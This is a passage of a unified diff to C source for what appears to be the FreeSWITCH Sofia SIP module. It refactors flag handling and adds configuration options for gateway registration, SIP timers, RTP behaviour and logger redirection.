+				sofia_set_flag(gateway, REG_FLAG_CALLERID);
 			}
+
 			register_transport = (char *) sofia_glue_transport2str(gateway->register_transport);
+
 			if (contact_params) {
 				if (*contact_params == ';') {
 					params = switch_core_sprintf(gateway->pool, "%s;transport=%s", contact_params, register_transport);
@@ -1140,16 +1449,32 @@
 				params = switch_core_sprintf(gateway->pool, ";transport=%s", register_transport);
 			}
 
-			gateway->register_url = switch_core_sprintf(gateway->pool, "sip:%s;transport=%s", proxy, register_transport);
-			gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>", from_user, from_domain, register_transport);
+			if (!switch_strlen_zero(from_domain)) {
+				gateway->from_domain = switch_core_strdup(gateway->pool, from_domain);
+			}
 
-			sipip = profile->extsipip ?  profile->extsipip : profile->sipip;
-			format = strchr(sipip, ':') ? "<sip:%s@[%s]:%d%s>" : "<sip:%s@%s:%d%s>";
-			gateway->register_contact = switch_core_sprintf(gateway->pool, format, extension,
-															sipip,
-															sofia_glue_transport_has_tls(gateway->register_transport) ? profile->tls_sip_port : profile->
-															sip_port, params);
+			gateway->register_url = switch_core_sprintf(gateway->pool, "sip:%s", proxy);
+			gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>", 
+														 from_user, !switch_strlen_zero(from_domain) ? from_domain : proxy, register_transport);
 
+			sipip = contact_host ? contact_host : profile->extsipip ?  profile->extsipip : profile->sipip;
+
+			if (extension_in_contact) {
+				format = strchr(sipip, ':') ? "<sip:%s@[%s]:%d%s>" : "<sip:%s@%s:%d%s>";
+				gateway->register_contact = switch_core_sprintf(gateway->pool, format, extension,
+																sipip,
+																sofia_glue_transport_has_tls(gateway->register_transport) ?
+																profile->tls_sip_port : profile->sip_port, params);
+			} else {
+				format = strchr(sipip, ':') ? "<sip:gw+%s@[%s]:%d%s>" : "<sip:gw+%s@%s:%d%s>";
+				gateway->register_contact = switch_core_sprintf(gateway->pool, format, gateway->name,
+																sipip,
+																sofia_glue_transport_has_tls(gateway->register_transport) ?
+																profile->tls_sip_port : profile->sip_port, params);
+			}
+
+			gateway->extension = switch_core_strdup(gateway->pool, extension);
+			
 			if (!strncasecmp(proxy, "sip:", 4)) {
 				gateway->register_proxy = switch_core_strdup(gateway->pool, proxy);
 				gateway->register_to = switch_core_sprintf(gateway->pool, "sip:%s@%s", username, proxy + 4);
@@ -1265,7 +1590,11 @@
 			/* you could change profile->foo here if it was a minor change like context or dialplan ... */
 			profile->rport_level = 1; /* default setting */
 			profile->acl_count = 0;
-			profile->pflags |= PFLAG_STUN_ENABLED;
+			sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
+			profile->ib_calls = 0;
+			profile->ob_calls = 0;
+			profile->ib_failed_calls = 0;
+			profile->ob_failed_calls = 0;
 
 			if (xprofiledomain) {
 				profile->domain_name = switch_core_strdup(profile->pool, xprofiledomain);
@@ -1277,6 +1606,21 @@
 					char *val = (char *) switch_xml_attr_soft(param, "value");
 					if (!strcasecmp(var, "debug")) {
 						profile->debug = atoi(val);
+					} else if (!strcasecmp(var, "tracelevel")) {
+						mod_sofia_globals.tracelevel = switch_log_str2level(val);
+					} else if (!strcasecmp(var, "sip-trace")) {
+						if (switch_true(val)) {
+							sofia_set_flag(profile, TFLAG_TPORT_LOG);
+						} else {
+							sofia_clear_flag(profile, TFLAG_TPORT_LOG);
+						}
+						nua_set_params(profile->nua, TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), TAG_END());
+					} else if (!strcasecmp(var, "send-message-query-on-register")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER);
+						}
 					} else if (!strcasecmp(var, "auto-rtp-bugs")) {
 						parse_rtp_bugs(profile, val);
 					} else if (!strcasecmp(var, "user-agent-string")) { 
@@ -1295,13 +1639,15 @@
 						if (switch_true(val)) {
 							profile->rport_level = 2;
 						}
+					} else if (!strcasecmp(var, "caller-id-type")) {
+						profile->cid_type = sofia_cid_name2type(val);
 					} else if (!strcasecmp(var, "record-template")) {
 						profile->record_template = switch_core_strdup(profile->pool, val);;
 					} else if ((!strcasecmp(var, "inbound-no-media") || !strcasecmp(var, "inbound-bypass-media"))) {
 						if (switch_true(val)) {
-							switch_set_flag(profile, TFLAG_INB_NOMEDIA);
+							sofia_set_flag(profile, TFLAG_INB_NOMEDIA);
 						} else {
-							switch_clear_flag(profile, TFLAG_INB_NOMEDIA);
+							sofia_clear_flag(profile, TFLAG_INB_NOMEDIA);
 						}
 					} else if (!strcasecmp(var, "force-subscription-expires")) {
 						int tmp = atoi(val);
@@ -1310,69 +1656,81 @@
 						}
 					} else if (!strcasecmp(var, "inbound-late-negotiation")) {
 						if (switch_true(val)) {
-							switch_set_flag(profile, TFLAG_LATE_NEGOTIATION);
+							sofia_set_flag(profile, TFLAG_LATE_NEGOTIATION);
 						} else {
-							switch_clear_flag(profile, TFLAG_LATE_NEGOTIATION);
+							sofia_clear_flag(profile, TFLAG_LATE_NEGOTIATION);
 						}
 					} else if (!strcasecmp(var, "inbound-proxy-media")) {
 						if (switch_true(val)) { 
-							switch_set_flag(profile, TFLAG_PROXY_MEDIA);
+							sofia_set_flag(profile, TFLAG_PROXY_MEDIA);
 						} else {
-							switch_clear_flag(profile, TFLAG_PROXY_MEDIA);
+							sofia_clear_flag(profile, TFLAG_PROXY_MEDIA);
 						}
 					} else if (!strcasecmp(var, "inbound-use-callid-as-uuid")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_CALLID_AS_UUID;
+							sofia_set_pflag(profile, PFLAG_CALLID_AS_UUID);
 						} else {
-							profile->pflags &= ~PFLAG_CALLID_AS_UUID;
+							sofia_clear_pflag(profile, PFLAG_CALLID_AS_UUID);
 						}
+					} else if (!strcasecmp(var, "rtp-autoflush-during-bridge")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+						}
+					} else if (!strcasecmp(var, "manual-redirect")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_MANUAL_REDIRECT);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_MANUAL_REDIRECT);
+						}
 					} else if (!strcasecmp(var, "outbound-use-uuid-as-callid")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_UUID_AS_CALLID;
+							sofia_set_pflag(profile, PFLAG_UUID_AS_CALLID);
 						} else {
-							profile->pflags &= ~PFLAG_UUID_AS_CALLID;
+							sofia_clear_pflag(profile, PFLAG_UUID_AS_CALLID);
 						}
 					} else if (!strcasecmp(var, "NDLB-received-in-nat-reg-contact")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_RECIEVED_IN_NAT_REG_CONTACT;
+							sofia_set_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
 						} else {
-							profile->pflags &= ~PFLAG_RECIEVED_IN_NAT_REG_CONTACT;
+							sofia_clear_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
 						}
 					} else if (!strcasecmp(var, "aggressive-nat-detection")) {
 						if (switch_true(val)) { 
-							profile->pflags |= PFLAG_AGGRESSIVE_NAT_DETECTION;
+							sofia_set_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
 						} else {
-							profile->pflags &= ~PFLAG_AGGRESSIVE_NAT_DETECTION;
+							sofia_clear_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
 						}
 					} else if (!strcasecmp(var, "disable-rtp-auto-adjust")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_DISABLE_RTP_AUTOADJ;
+							sofia_set_pflag(profile, PFLAG_DISABLE_RTP_AUTOADJ);
 						} else {
-							profile->pflags &= ~PFLAG_DISABLE_RTP_AUTOADJ;
+							sofia_clear_pflag(profile, PFLAG_DISABLE_RTP_AUTOADJ);
 						}
 					} else if (!strcasecmp(var, "NDLB-support-asterisk-missing-srtp-auth")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_DISABLE_SRTP_AUTH; 
+							sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH); 
 						} else {
-							profile->pflags &= ~PFLAG_DISABLE_SRTP_AUTH; 
+							sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH); 
 						}
 					} else if (!strcasecmp(var, "NDLB-funny-stun")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_FUNNY_STUN; 
+							sofia_set_pflag(profile, PFLAG_FUNNY_STUN); 
 						} else {
-							profile->pflags &= ~PFLAG_FUNNY_STUN; 
+							sofia_clear_pflag(profile, PFLAG_FUNNY_STUN); 
 						}
 					} else if (!strcasecmp(var, "stun-enabled")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_STUN_ENABLED;
+							sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
 						} else {
-							profile->pflags &= ~PFLAG_STUN_ENABLED; 
+							sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
 						}
 					} else if (!strcasecmp(var, "stun-auto-disable")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_STUN_AUTO_DISABLE;
+							sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
 						} else {
-							profile->pflags &= ~PFLAG_STUN_AUTO_DISABLE; 
+							sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE); 
 						}
 					} else if (!strcasecmp(var, "apply-nat-acl")) {
 						if (profile->acl_count < SOFIA_MAX_ACL) {
@@ -1398,96 +1756,124 @@
 						}
 					} else if (!strcasecmp(var, "rfc2833-pt")) {
 						profile->te = (switch_payload_t) atoi(val);
-					} else if (!strcasecmp(var, "cng-pt") && !(profile->pflags & PFLAG_SUPPRESS_CNG)) {
+					} else if (!strcasecmp(var, "cng-pt") && !(sofia_test_pflag(profile, PFLAG_SUPPRESS_CNG))) {
 						profile->cng_pt = (switch_payload_t) atoi(val);
 					} else if (!strcasecmp(var, "vad")) {
 						if (!strcasecmp(val, "in")) {
-							switch_set_flag(profile, TFLAG_VAD_IN);
+							sofia_set_flag(profile, TFLAG_VAD_IN);
 						} else if (!strcasecmp(val, "out")) {
-							switch_set_flag(profile, TFLAG_VAD_OUT);
+							sofia_set_flag(profile, TFLAG_VAD_OUT);
 						} else if (!strcasecmp(val, "both")) {
-							switch_set_flag(profile, TFLAG_VAD_IN);
-							switch_set_flag(profile, TFLAG_VAD_OUT);
+							sofia_set_flag(profile, TFLAG_VAD_IN);
+							sofia_set_flag(profile, TFLAG_VAD_OUT);
 						} else if (strcasecmp(val, "none")) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid option %s for VAD\n", val);
 						}
 					} else if (!strcasecmp(var, "unregister-on-options-fail")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_UNREG_OPTIONS_FAIL;
+							sofia_set_pflag(profile, PFLAG_UNREG_OPTIONS_FAIL);
 						} else {
-							profile->pflags &= ~PFLAG_UNREG_OPTIONS_FAIL;
+							sofia_clear_pflag(profile, PFLAG_UNREG_OPTIONS_FAIL);
 						}
 					} else if (!strcasecmp(var, "require-secure-rtp")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_SECURE;
+							sofia_set_pflag(profile, PFLAG_SECURE);
 						} else {
-							profile->pflags &= ~PFLAG_SECURE;
+							sofia_clear_pflag(profile, PFLAG_SECURE);
 						}
 					} else if (!strcasecmp(var, "multiple-registrations")) {
 						if (!strcasecmp(val, "call-id")) {
-							profile->pflags |= PFLAG_MULTIREG;
+							sofia_set_pflag(profile, PFLAG_MULTIREG);
 						} else if (!strcasecmp(val, "contact") || switch_true(val)) {
-							profile->pflags |= PFLAG_MULTIREG;
-							profile->pflags |= PFLAG_MULTIREG_CONTACT;
+							sofia_set_pflag(profile, PFLAG_MULTIREG);
+							sofia_set_pflag(profile, PFLAG_MULTIREG_CONTACT);
 						} else if (switch_true(val)) {
-							profile->pflags &= ~PFLAG_MULTIREG;
-							//profile->pflags &= ~PFLAG_MULTIREG_CONTACT;
+							sofia_clear_pflag(profile, PFLAG_MULTIREG);
+							//sofia_clear_pflag(profile, PFLAG_MULTIREG_CONTACT);
 						}
 					} else if (!strcasecmp(var, "supress-cng") || !strcasecmp(var, "suppress-cng")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_SUPPRESS_CNG;
+							sofia_set_pflag(profile, PFLAG_SUPPRESS_CNG);
 							profile->cng_pt = 0;
 						} else {
-							profile->pflags &= ~PFLAG_SUPPRESS_CNG;
+							sofia_clear_pflag(profile, PFLAG_SUPPRESS_CNG);
 						}
-					} else if (!strcasecmp(var, "NDLB-to-in-200-contact")) {
-						if (switch_true(val)) {
-							profile->ndlb |= PFLAG_NDLB_TO_IN_200_CONTACT;
-						} else {
-							profile->ndlb &= ~PFLAG_NDLB_TO_IN_200_CONTACT;
-						}
 					} else if (!strcasecmp(var, "NDLB-broken-auth-hash")) {
 						if (switch_true(val)) {
 							profile->ndlb |= PFLAG_NDLB_BROKEN_AUTH_HASH;
 						} else {
 							profile->ndlb &= ~PFLAG_NDLB_BROKEN_AUTH_HASH;
 						}
+					} else if (!strcasecmp(var, "NDLB-sendrecv-in-session")) {
+						if (switch_true(val)) {
+							profile->ndlb |= PFLAG_NDLB_SENDRECV_IN_SESSION;
+						} else {
+							profile->ndlb &= ~PFLAG_NDLB_SENDRECV_IN_SESSION;
+						}
 					} else if (!strcasecmp(var, "pass-rfc2833")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_PASS_RFC2833;
+							sofia_set_pflag(profile, PFLAG_PASS_RFC2833);
 						} else {
-							profile->pflags &= ~PFLAG_PASS_RFC2833;
+							sofia_clear_pflag(profile, PFLAG_PASS_RFC2833);
 						}
+					} else if (!strcasecmp(var, "rtp-autoflush")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_AUTOFLUSH);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_AUTOFLUSH);
+						}
+					} else if (!strcasecmp(var, "rtp-autofix-timing")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_AUTOFIX_TIMING);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_AUTOFIX_TIMING);
+						}
+					} else if (!strcasecmp(var, "nat-options-ping")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_NAT_OPTIONS_PING);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_NAT_OPTIONS_PING);
+						}
 					} else if (!strcasecmp(var, "inbound-codec-negotiation")) {
 						if (!strcasecmp(val, "greedy")) {
-							profile->pflags |= PFLAG_GREEDY;
+							sofia_set_pflag(profile, PFLAG_GREEDY);
+						} else if (!strcasecmp(val, "scrooge")) {
+							sofia_set_pflag(profile, PFLAG_GREEDY);
+							sofia_set_pflag(profile, PFLAG_SCROOGE);
 						} else {
-							profile->pflags &= ~PFLAG_GREEDY;
+							sofia_clear_pflag(profile, PFLAG_SCROOGE);
+							sofia_clear_pflag(profile, PFLAG_GREEDY);
 						}
 					} else if (!strcasecmp(var, "disable-transcoding")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_DISABLE_TRANSCODING;
+							sofia_set_pflag(profile, PFLAG_DISABLE_TRANSCODING);
 						} else {
-							profile->pflags &= ~PFLAG_DISABLE_TRANSCODING;
+							sofia_clear_pflag(profile, PFLAG_DISABLE_TRANSCODING);
 						}
 					} else if (!strcasecmp(var, "rtp-rewrite-timestamps")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_REWRITE_TIMESTAMPS;
+							sofia_set_pflag(profile, PFLAG_REWRITE_TIMESTAMPS);
 						} else {
-							profile->pflags &= ~PFLAG_REWRITE_TIMESTAMPS;
+							sofia_clear_pflag(profile, PFLAG_REWRITE_TIMESTAMPS);
 						}
 					} else if (!strcasecmp(var, "auth-calls")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_AUTH_CALLS;
+							sofia_set_pflag(profile, PFLAG_AUTH_CALLS);
 						} else {
-							profile->pflags &= ~PFLAG_AUTH_CALLS;
+							sofia_clear_pflag(profile, PFLAG_AUTH_CALLS);
 						}
+					} else if (!strcasecmp(var, "context")) {
+						profile->context = switch_core_strdup(profile->pool, val);
+					} else if (!strcasecmp(var, "local-network-acl")) {
+						profile->local_network = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "force-register-domain")) {
 						profile->reg_domain = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "force-register-db-domain")) {
 						profile->reg_db_domain = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "hold-music")) {
 						profile->hold_music = switch_core_strdup(profile->pool, val);
+					} else if (!strcasecmp(var, "outbound-proxy")) {
+						profile->outbound_proxy = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "session-timeout")) {
 						int v_session_timeout = atoi(val);
 						if (v_session_timeout >= 0) {
@@ -1521,6 +1907,38 @@
 							profile->dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n", SWITCH_DEFAULT_DTMF_DURATION);
 						}
+					} else if (!strcasecmp(var, "timer-T1")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t1 = v;
+						} else {
+							profile->timer_t1 = 500;
+						}
+						nua_set_params(profile->nua, NTATAG_SIP_T1(profile->timer_t1), TAG_END());
+					} else if (!strcasecmp(var, "timer-T1X64")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t1x64 = v;
+						} else {
+							profile->timer_t1x64 = 32000;
+						}
+						nua_set_params(profile->nua, NTATAG_SIP_T1X64(profile->timer_t1x64), TAG_END());
+					} else if (!strcasecmp(var, "timer-T2")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t2 = v;
+						} else {
+							profile->timer_t2 = 4000;
+						}
+						nua_set_params(profile->nua, NTATAG_SIP_T2(profile->timer_t2), TAG_END());
+					} else if (!strcasecmp(var, "timer-T4")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t4 = v;
+						} else {
+							profile->timer_t4 = 4000;
+						}
+						nua_set_params(profile->nua, NTATAG_SIP_T4(profile->timer_t4), TAG_END());
 					}
 				}
 			}
@@ -1532,6 +1950,12 @@
 			status = SWITCH_STATUS_SUCCESS;
 
 			if ((domains_tag = switch_xml_child(xprofile, "domains"))) {
+				switch_event_t *xml_params;
+				switch_event_create(&xml_params, SWITCH_EVENT_REQUEST_PARAMS);
+				switch_assert(xml_params);
+				switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
+				switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
+				
 				for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
 					switch_xml_t droot, x_domain_tag;
 					const char *dname = switch_xml_attr_soft(domain_tag, "name");
@@ -1541,19 +1965,21 @@
 					if (!switch_strlen_zero(dname)) {
 						if (!strcasecmp(dname, "all")) {
 							switch_xml_t xml_root, x_domains;
-							if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, NULL) == SWITCH_STATUS_SUCCESS) {
+							if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 								for (x_domain_tag = switch_xml_child(x_domains, "domain"); x_domain_tag; x_domain_tag = x_domain_tag->next) {
 									dname = switch_xml_attr_soft(x_domain_tag, "name");
 									parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
 								}
 								switch_xml_free(xml_root);
 							}
-						} else if (switch_xml_locate_domain(dname, NULL, &droot, &x_domain_tag) == SWITCH_STATUS_SUCCESS) {
+						} else if (switch_xml_locate_domain(dname, xml_params, &droot, &x_domain_tag) == SWITCH_STATUS_SUCCESS) {
 							parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
 							switch_xml_free(droot);
 						}
 					}
 				}
+				
+				switch_event_destroy(&xml_params);
 			}
 
 			if ((aliases_tag = switch_xml_child(xprofile, "aliases"))) {
@@ -1600,13 +2026,23 @@
 			su_deinit();
 			return SWITCH_STATUS_FALSE;
 		}
-
-		su_log_redirect(NULL, logger, NULL);
+		
+		/* Redirect loggers in sofia */
+		su_log_redirect(su_log_default, logger, NULL);
 		su_log_redirect(tport_log, logger, NULL);
+		su_log_redirect(iptsec_log, logger, NULL);
+		su_log_redirect(nea_log, logger, NULL);
+		su_log_redirect(nta_log, logger, NULL);
+		su_log_redirect(nth_client_log, logger, NULL);
+		su_log_redirect(nth_server_log, logger, NULL);
+		su_log_redirect(nua_log, logger, NULL);
+		su_log_redirect(soa_log, logger, NULL);
+		su_log_redirect(sresolv_log, logger, NULL);
+		su_log_redirect(stun_log, logger, NULL);
 	}
 
 	if (!switch_strlen_zero(profile_name) && (profile = sofia_glue_find_profile(profile_name))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile [%s] Already exists.\n", switch_str_nil(profile_name));
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Profile [%s] Already exists.\n", switch_str_nil(profile_name));
 		status = SWITCH_STATUS_FALSE;
 		sofia_glue_release_profile(profile);
 		return status;
@@ -1623,6 +2059,7 @@
 	}
 
 	mod_sofia_globals.auto_restart = SWITCH_TRUE;
+	mod_sofia_globals.rewrite_multicasted_fs_path = SWITCH_FALSE;
 
 	if ((settings = switch_xml_child(cfg, "global_settings"))) {
 		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
@@ -1634,6 +2071,8 @@
 				mod_sofia_globals.debug_presence = atoi(val);
 			} else if (!strcasecmp(var, "auto-restart")) {
 				mod_sofia_globals.auto_restart = switch_true(val);
+			} else if (!strcasecmp(var, "rewrite-multicasted-fs-path")) {
+				mod_sofia_globals.rewrite_multicasted_fs_path = switch_true(val);
 			}
 		}
 	}
@@ -1690,9 +2129,13 @@
 				profile->tls_version = 0;
 				profile->mflags = MFLAG_REFER | MFLAG_REGISTER;
 				profile->rport_level = 1;
-				profile->pflags |= PFLAG_STUN_ENABLED;
-				profile->pflags |= PFLAG_DISABLE_100REL;
+				sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
+				sofia_set_pflag(profile, PFLAG_DISABLE_100REL);
 				profile->auto_restart = 1;
+				sofia_set_pflag(profile, PFLAG_AUTOFIX_TIMING);
+				sofia_set_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER);
+				sofia_set_pflag(profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+				profile->contact_user = SOFIA_DEFAULT_CONTACT_USER;
 
 				for (param = switch_xml_child(settings, "param"); param; param = param->next) {
 					char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -1701,19 +2144,19 @@
 					if (!strcasecmp(var, "debug")) {
 						profile->debug = atoi(val);
 					} else if (!strcasecmp(var, "sip-trace") && switch_true(val)) {
-						switch_set_flag(profile, TFLAG_TPORT_LOG);
+						sofia_set_flag(profile, TFLAG_TPORT_LOG);
 					} else if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
-#ifdef SWITCH_HAVE_ODBC
-						profile->odbc_dsn = switch_core_strdup(profile->pool, val);
-						if ((profile->odbc_user = strchr(profile->odbc_dsn, ':'))) {
-							*profile->odbc_user++ = '\0';
-							if ((profile->odbc_pass = strchr(profile->odbc_user, ':'))) {
-								*profile->odbc_pass++ = '\0';
+						if (switch_odbc_available()) {
+							profile->odbc_dsn = switch_core_strdup(profile->pool, val);
+							if ((profile->odbc_user = strchr(profile->odbc_dsn, ':'))) {
+								*profile->odbc_user++ = '\0';
+								if ((profile->odbc_pass = strchr(profile->odbc_user, ':'))) {
+									*profile->odbc_pass++ = '\0';
+								}
 							}
+						} else {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
 						}
-#else
-						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
 					} else if (!strcasecmp(var, "user-agent-string")) {
 						profile->user_agent = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "auto-restart")) {
@@ -1736,71 +2179,91 @@
 						profile->dbname = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "presence-hosts")) {
 						profile->presence_hosts = switch_core_strdup(profile->pool, val);
+					} else if (!strcasecmp(var, "caller-id-type")) {
+						profile->cid_type = sofia_cid_name2type(val);
 					} else if (!strcasecmp(var, "record-template")) {
 						profile->record_template = switch_core_strdup(profile->pool, val);
 					} else if ((!strcasecmp(var, "inbound-no-media") || !strcasecmp(var, "inbound-bypass-media")) && switch_true(val)) {
-						switch_set_flag(profile, TFLAG_INB_NOMEDIA);
+						sofia_set_flag(profile, TFLAG_INB_NOMEDIA);
 					} else if (!strcasecmp(var, "inbound-late-negotiation") && switch_true(val)) {
-						switch_set_flag(profile, TFLAG_LATE_NEGOTIATION);
+						sofia_set_flag(profile, TFLAG_LATE_NEGOTIATION);
+					} else if (!strcasecmp(var, "rtp-autoflush-during-bridge")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
+						}
+					} else if (!strcasecmp(var, "manual-redirect")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_MANUAL_REDIRECT);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_MANUAL_REDIRECT);
+						}
 					} else if (!strcasecmp(var, "inbound-proxy-media") && switch_true(val)) {
-						switch_set_flag(profile, TFLAG_PROXY_MEDIA);
+						sofia_set_flag(profile, TFLAG_PROXY_MEDIA);
 					} else if (!strcasecmp(var, "force-subscription-expires")) {
 						int tmp = atoi(val);
 						if (tmp > 0) {
 							profile->force_subscription_expires = tmp;
 						}
+					} else if (!strcasecmp(var, "send-message-query-on-register")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER);
+						}
 					} else if (!strcasecmp(var, "inbound-use-callid-as-uuid")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_CALLID_AS_UUID;
+							sofia_set_pflag(profile, PFLAG_CALLID_AS_UUID);
 						} else {
-							profile->pflags &= ~PFLAG_CALLID_AS_UUID;
+							sofia_clear_pflag(profile, PFLAG_CALLID_AS_UUID);
 						}
 					} else if (!strcasecmp(var, "outbound-use-uuid-as-callid")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_UUID_AS_CALLID;
+							sofia_set_pflag(profile, PFLAG_UUID_AS_CALLID);
 						} else {
-							profile->pflags &= ~PFLAG_UUID_AS_CALLID;
+							sofia_clear_pflag(profile, PFLAG_UUID_AS_CALLID);
 						}
 					} else if (!strcasecmp(var, "NDLB-received-in-nat-reg-contact") && switch_true(val)) {
-						profile->pflags |= PFLAG_RECIEVED_IN_NAT_REG_CONTACT;
+						sofia_set_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
 					} else if (!strcasecmp(var, "aggressive-nat-detection") && switch_true(val)) {
-						profile->pflags |= PFLAG_AGGRESSIVE_NAT_DETECTION;
+						sofia_set_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
 					} else if (!strcasecmp(var, "disable-rtp-auto-adjust") && switch_true(val)) {
-						profile->pflags |= PFLAG_DISABLE_RTP_AUTOADJ;
+						sofia_set_pflag(profile, PFLAG_DISABLE_RTP_AUTOADJ);
 					} else if (!strcasecmp(var, "NDLB-support-asterisk-missing-srtp-auth") && switch_true(val)) {
-						profile->pflags |= PFLAG_DISABLE_SRTP_AUTH;
+						sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
 					} else if (!strcasecmp(var, "NDLB-funny-stun")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_FUNNY_STUN; 
+							sofia_set_pflag(profile, PFLAG_FUNNY_STUN); 
 						} else {
-							profile->pflags &= ~PFLAG_FUNNY_STUN; 
+							sofia_clear_pflag(profile, PFLAG_FUNNY_STUN); 
 						}
 					} else if (!strcasecmp(var, "stun-enabled")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_STUN_ENABLED;
+							sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
 						} else {
-							profile->pflags &= ~PFLAG_STUN_ENABLED; 
+							sofia_clear_pflag(profile, PFLAG_STUN_ENABLED); 
 						}
 					} else if (!strcasecmp(var, "stun-auto-disable")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_STUN_AUTO_DISABLE;
+							sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
 						} else {
-							profile->pflags &= ~PFLAG_STUN_AUTO_DISABLE; 
+							sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE); 
 						}
 					} else if (!strcasecmp(var, "rfc2833-pt")) {
 						profile->te = (switch_payload_t) atoi(val);
-					} else if (!strcasecmp(var, "cng-pt") && !(profile->pflags & PFLAG_SUPPRESS_CNG)) {
